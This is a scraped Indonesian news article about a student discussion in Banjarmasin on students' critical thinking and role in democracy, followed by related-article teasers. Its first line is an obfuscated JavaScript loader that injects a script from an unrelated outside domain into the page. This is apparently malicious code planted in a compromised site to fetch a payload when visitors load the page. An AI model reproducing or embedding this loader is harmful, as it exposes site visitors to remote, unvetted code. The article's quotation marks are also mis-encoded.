(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dr Muhammad Uhaib As’ad yang juga menjadi pembicara pada diskusi ‘Peran Mahasiswa dalam Demokrasi Kalsel’ bersama mahasiswa di Kota Banjarmasin mengatakan, daya kritis dan peran mahasiswa dalam politik itu harus perlu diasah. Termasuk mengurangi pragmatisme akademis sehingga kampus tidak lagi hanya menjadi tempat ‘pemeliharaan ayam jago’.
“Zaman sekarang di era demokrasi, tidak boleh itu mahasiswa dikekang. Kasih mereka kebebasan dialektika berpikir, diskusi mahasiswa, fasilitas kampus harus dibuka selebar-lebarnya,†kata Uhaib.
Maka ia kecewa dengan keberadaan mahasiswa saat ini yang cenderung apatis. Alih-alih mendiskusikan kondisi negara atau daerah, mahasiswa sekarang lebih banyak bermain game di perangkat pintarnya. Inilah yang ia sebut sebagai sebuah “kecelakaanâ€Â. Sehingga tidak salah, akademisi yang telah 24 tahun mengabdi ini menyayangkan, tidak adanya debat ataupun diskusi di kalangan mahasiswa.
“Ini kan sebuah kecelakaan dinamika politik mahasiswa saat ini. Oleh karena itu, tidak gampang membangun mindset kritis mahasiswa dan dibutuhkan arena untuk berdiskusi, berdebat yang difasilitasi oleh kampus,†paparnya.
Diskusi kali ini, menurut Uhaib, merupakan stimulus agar mahasiwa tak ragu berpikir kritis. “Ini yang paling penting, untuk mempersiapkan dirinya di masa yang akan datang,†pungkasnya.
Sementara itu, salah satu mahasiswa yang ikut serta dalam diskusi, Fenny Wulan Purnama Sari menyambut baik dengan kegiatan diskusi kali ini. Karena menurutnya, diskusi ini menggugah mahasiswa dalam membangun pola pikir dan mengasah intelektualnya. “Semoga acara ini dapat berlangsung terus menerus,†kata mahasiswi semester 6 Fakultas Hukum ULM ini.
Menurut Fenny, diskusi ini diharapkan dapat membangun pola pikir mahasiswa saat ini. Sehingga, mahasiswa tidak dapat menerima sesuatu yang diharamkan, seperti money politic.
Ia pun menyayangkan insiden gagalnya diskusi di kantin Kampus UNISKA Banjarmasin. Apalagi tokoh besar seperti Denny Indrayana hendak berbagi pengetahuan dan pengalamannya untuk kampus. “Saya kira diskusi ini tidak ada hubungannya dengan politik praktis. Melainkan, hanya membuka wawasan mahasiswa saja, bagaimana menghadapi politik nantinya,†pungkas Fenny. (kanalkalimantan.com/Fikri)
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More
KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
This website uses cookies.